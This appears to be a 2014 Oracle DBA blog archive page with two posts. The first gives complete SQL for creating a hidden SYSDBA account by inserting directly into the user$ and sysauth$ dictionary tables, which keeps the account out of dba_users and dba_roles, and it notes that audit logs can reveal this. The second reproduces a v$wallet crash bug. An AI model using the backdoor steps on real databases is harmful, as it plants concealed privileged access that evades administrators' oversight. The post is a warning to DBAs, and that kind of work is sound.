Archives For June 2014

this one is a little bit hypothetical but might happen. do you know the situation when a standard software requires sysdba priviliges for installation? be very careful ginving out the sys password. once someone other than a trusted dba knows the password a sysdba can be created which you probably will never find (except you have processes in place to scan the audit logs).

oracle stores users and roles in the user$ table. a user has a type# of 1 while a role has type# of 0. one can easily check this:

SYS@dbs100> select NAME,TYPE# from user$;

NAME				    TYPE#
------------------------------ ----------
SYS					1
PUBLIC					0
DBA					0
SYSTEM					1

what will happen if we directly insert into that table with a type# of -1?

insert into user$ (USER#,NAME,TYPE#,password,DATATS#,tempts#,ctime,resource$,defrole,astatus,lcount,spare1,spare4,DEFSCHCLASS,EXPTIME,LTIME,PTIME) 
       values (99,'GOD',1,'D9E8A39A359A48C2',4,3,sysdate-5,0,1,0,0,0,'S:E0BBBCAB53EDC7BD147FBD6EBF79E011DBDB31947A3B08B04FCB7E678DF8','DEFAULT_CONSUMER_GROUP',to_date(null),to_date(null),to_date(null));

1 row created.


Commit complete.

seems to work. this user will never be visible in dba_users or dba_roles:

SYS@dbs100> select * from dba_users where username = 'GOD';

no rows selected

SYS@dbs100> select * from dba_roles where role = 'GOD';

no rows selected

perfectly hidden. change the password:

alter user god identified by a;

User altered.

… and assign all sysdba privileges:

insert into sysauth$  (grantee#,privilege#,option$,sequence#) 
       select 99,privilege#,option$,system_grant.nextval
         from sysauth$ where grantee# = 0;

226 rows created.

update user$ set type#=-1 where user#=99;

1 row updated.


Commit complete.

test it:

SYS@dbs100> connect god/a as sysdba

… and you are in.

the good news: if you have auditing enabled you may catch this:

grep -i god *
dbs100_ora_12133_20140515225804864916143795.aud:       values (99,'GOD',1,'D9E8A39A359A48C2',4,3,sysdate-5,0,1,0,0,0,'S:E0BBBCAB53EDC7BD147FBD6EBF79E011DBDB31947A3B08B04FCB7E678DF8','DEFAULT_CONSUMER_GROUP',to_date(null),to_date(null),to_date(null))'
dbs100_ora_12133_20140515225804864916143795.aud:ACTION :[30] 'alter user god identified by *'
dbs100_ora_12133_20140515225804864916143795.aud:ACTION :[30] 'alter user god identified by *'
dbs100_ora_12147_20140515225916485631143795.aud:ACTION :[46] 'select * from dba_users where username = 'GOD''
dbs100_ora_12147_20140515225916485631143795.aud:ACTION :[42] 'select * from dba_roles where role = 'GOD''

tested on and on Linux x64.

this is a follow up on This page isn’t redirecting properly.

a very simple test-case to reproduce this on on linux x86_64:

in short, this generates a self-signed certificate and loads it to the oracle wallet ( thanks to tyler muth for providing the steps ).

tar -axf
orapki wallet create -wallet . -pwd Welcome1 -auto_login
orapki wallet add -wallet . -dn 'cn=blubb, ou=blubb, ou=blubb, dc=blubb, dc=blubb' -keysize 2048 -pwd Welcome1
orapki wallet export -wallet . -dn 'cn=blubb, ou=blubb, ou=blubb, dc=blubb, dc=blubb' -request -pwd Welcome1
cp certreq.csr
./ certreq
cd ..
orapki wallet add -wallet . -trusted_cert -cert -pwd Welcome1
orapki wallet add -wallet . -user_cert -cert -pwd Welcome1
orapki wallet display -wallet . 

once the wallet is ready adjust the sqlnet.ora for the database to include the following:


… and bounce the instance. bumm:

select * from v$wallet;
ERROR at line 1:
ORA-03113: end-of-file on communication channel
Process ID: 11336
Session ID: 36 Serial number: 57

this does not reproduce with
assigned to oracle development…

Update 2014-JUN-05: Bug 14327886 : ORA-7445 [__INTEL_NEW_MEMCPY()+52] AND ORA-03113 WITH SELECT ON V$WALLET